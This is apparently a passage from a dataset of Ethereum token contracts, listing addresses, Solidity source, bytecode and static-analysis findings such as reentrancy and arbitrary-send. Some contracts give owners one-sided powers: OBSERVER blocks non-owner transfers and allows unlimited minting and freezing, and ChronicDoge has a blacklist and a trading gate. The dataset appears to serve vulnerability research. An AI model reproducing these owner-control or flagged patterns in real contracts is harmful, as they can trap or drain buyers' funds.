01561123f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126391906117f7565b8160018151811061128457634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112aa9130911684610b08565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e3908590600090869030904290600401611a82565b600060405180830381600087803b1580156112fd57600080fd5b505af1158015611311573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b600082611335575060006103bd565b60006113418385611b2a565b90508261134e8583611b0a565b1461117a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610456565b600061117a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611436565b806113f4576113f4611464565b6113ff848484611487565b80611038576110386005600855600c600955565b600080600061142061157e565b909250905061142f82826113a5565b9250505090565b600081836114575760405162461bcd60e51b815260040161045691906119fa565b50600061106f8486611b0a565b6008541580156114745750600954155b1561147b57565b60006008819055600955565b600080600080600080611499876115c0565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114cb908761161d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114fa908661165f565b6001600160a01b03891660009081526002602052604090205561151c816116be565b6115268483611708565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156b91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061159a82826113a5565b8210156115b757505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115dd8a60085460095461172c565b92509250925060006115ed611413565b905060008060006116008e87878761177b565b919e509c509a509598509396509194505050505091939550919395565b600061117a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061103e565b60008061166c8385611af2565b90508381101561117a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610456565b60006116c8611413565b905060006116d68383611326565b306000908152600260205260409020549091506116f3908261165f565b30600090815260026020526040902055505050565b600654611715908361161d565b600655600754611725908261165f565b6007555050565b60008080806117406064610ac78989611326565b905060006117536064610ac78a89611326565b9050600061176b826117658b8661161d565b9061161d565b9992985090965090945050505050565b600080808061178a8886611326565b905060006117988887611326565b905060006117a68888611326565b905060006117b882611765868661161d565b939b939a50919850919650505050505050565b80356117d681611ba7565b919050565b6000602082840312156117ec578081fd5b813561117a81611ba7565b600060208284031215611808578081fd5b815161117a81611ba7565b60008060408385031215611825578081fd5b823561183081611ba7565b9150602083013561184081611ba7565b809150509250929050565b60008060006060848603121561185f578081fd5b833561186a81611ba7565b9250602084013561187a81611ba7565b929592945050506040919091013590565b6000806040838503121561189d578182fd5b82356118a881611ba7565b946020939093013593505050565b600060208083850312156118c8578182fd5b823567ffffffffffffffff808211156118df578384fd5b818501915085601f8301126118f2578384fd5b81358181111561190457611904611b91565b8060051b604051601f19603f8301168101818110858211171561192957611929611b91565b604052828152858101935084860182860187018a1015611947578788fd5b8795505b838610156119705761195c816117cb565b85526001959095019493860193860161194b565b5098975050505050505050565b60006020828403121561198e578081fd5b813561117a81611bbc565b6000602082840312156119aa578081fd5b815161117a81611bbc565b6000602082840312156119c6578081fd5b5035919050565b6000806000606084860312156119e1578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2657858101830151858201604001528201611a0a565b81811115611a375783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ad15784516001600160a01b031683529383019391830191600101611aac565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0557611b05611b7b565b500190565b600082611b2557634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4457611b44611b7b565b500290565b600082821015611b5b57611b5b611b7b565b500390565b6000600019821415611b7457611b74611b7b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104f257600080fd5b80151581146104f257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200339c9c45e23bc6648f2a41b7e6bad2db1256935fe62a7796270e27911a1912664736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 343 |
0xcb8a874ad773b10e6cf3b6b6de9dcc3b2ff68a9e | pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 is owned {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
bool public send_allowed = false;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
require(msg.sender == owner || send_allowed == true);
_transfer(msg.sender, _to, _value);
}
function setSendAllow(bool send_allow) onlyOwner public {
send_allowed = send_allow;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(msg.sender == owner || send_allowed == true);
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
}
contract OBSERVER is TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
uint256 public leastSwap;
bool public funding = true;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function OBSERVER(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
} | 0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610138578063095ea7b3146101c85780630fed5dc81461022d57806318160ddd1461025c57806323b872dd14610287578063313ce5671461030c57806342966c681461033d5780634adaedef146103825780634b750334146103b157806370a08231146103dc57806379c650681461043357806379cc6790146104805780638620410b146104e55780638da5cb5b1461051057806395d89b4114610567578063a9059cbb146105f7578063b414d4b614610644578063cae9ca511461069f578063cb4c86b71461074a578063dd62ed3e14610779578063e724529c146107f0578063ebb0a8561461083f578063f2fde38b1461086a575b600080fd5b34801561014457600080fd5b5061014d6108ad565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018d578082015181840152602081019050610172565b50505050905090810190601f1680156101ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d457600080fd5b50610213600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061094b565b604051808215151515815260200191505060405180910390f35b34801561023957600080fd5b5061025a6004803603810190808035151590602001909291905050506109d8565b005b34801561026857600080fd5b50610271610a50565b6040518082815260200191505060405180910390f35b34801561029357600080fd5b506102f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a56565b604051808215151515815260200191505060405180910390f35b34801561031857600080fd5b50610321610bfc565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034957600080fd5b5061036860048036038101908080359060200190929190505050610c0f565b604051808215151515815260200191505060405180910390f35b34801561038e57600080fd5b50610397610d13565b604051808215151515815260200191505060405180910390f35b3480156103bd57600080fd5b506103c6610d26565b6040518082815260200191505060405180910390f35b3480156103e857600080fd5b5061041d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d2c565b6040518082815260200191505060405180910390f35b34801561043f57600080fd5b5061047e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d44565b005b34801561048c57600080fd5b506104cb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eb5565b604051808215151515815260200191505060405180910390f35b3480156104f157600080fd5b506104fa6110cf565b6040518082815260200191505060405180910390f35b34801561051c57600080fd5b506105256110d5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561057357600080fd5b5061057c6110fa565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105bc5780820151818401526020810190506105a1565b50505050905090810190601f1680156105e95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561060357600080fd5b50610642600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611198565b005b34801561065057600080fd5b50610685600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611220565b604051808215151515815260200191505060405180910390f35b3480156106ab57600080fd5b50610730600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611240565b604051808215151515815260200191505060405180910390f35b34801561075657600080fd5b5061075f6113c3565b604051808215151515815260200191505060405180910390f35b34801561078557600080fd5b506107da600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113d6565b6040518082815260200191505060405180910390f35b3480156107fc57600080fd5b5061083d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506113fb565b005b34801561084b57600080fd5b50610854611520565b6040518082815260200191505060405180910390f35b34801561087657600080fd5b506108ab600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611526565b005b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109435780601f1061091857610100808354040283529160200191610943565b820191906000526020600020905b81548152906001019060200180831161092657829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a3357600080fd5b80600560006101000a81548160ff02191690831515021790555050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ac6575060011515600560009054906101000a900460ff161515145b1515610ad157600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b5c57600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610bf18484846115c4565b600190509392505050565b600360009054906101000a900460ff1681565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610c5f57600080fd5b81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b600560009054906101000a900460ff1681565b60085481565b60066020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d9f57600080fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806004600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610f0557600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610f9057600080fd5b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111905780601f1061116557610100808354040283529160200191611190565b820191906000526020600020905b81548152906001019060200180831161117357829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611206575060011515600560009054906101000a900460ff161515145b151561121157600080fd5b61121c3383836115c4565b5050565b600c6020528060005260406000206000915054906101000a900460ff1681565b600080849050611250858561094b565b156113ba578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561134a57808201518184015260208101905061132f565b50505050905090810190601f1680156113775780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561139957600080fd5b505af11580156113ad573d6000803e3d6000fd5b50505050600191506113bb565b5b509392505050565b600b60009054906101000a900460ff1681565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561145657600080fd5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561158157600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff16141515156115ea57600080fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561163857600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401101515156116c757600080fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561172057600080fd5b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561177957600080fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505600a165627a7a723058201d832fbb02a60e4508cbb7ef626c1c5018acc84dbdcc9cddfe9cf2811ed4cbd30029 | {"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | 344 |
0xa2306abe0f640d904f18fd28f730e01d28a73ea7 | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ChronicDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Chronic Doge";
string private constant _symbol = "Chronic Doge";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 420000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 10;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 10;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x04a334d01df819b14c1F1fE4CdD7eBF9E83ECac6);
address payable private _marketingAddress = payable(0x2aE5Af02aEFb4467c71A9D0e547cc2cd6C3a4020);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 17640000 * 10**9;
uint256 public _maxWalletSize = 17640000 * 10**9;
uint256 public _swapTokensAtAmount = 42000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
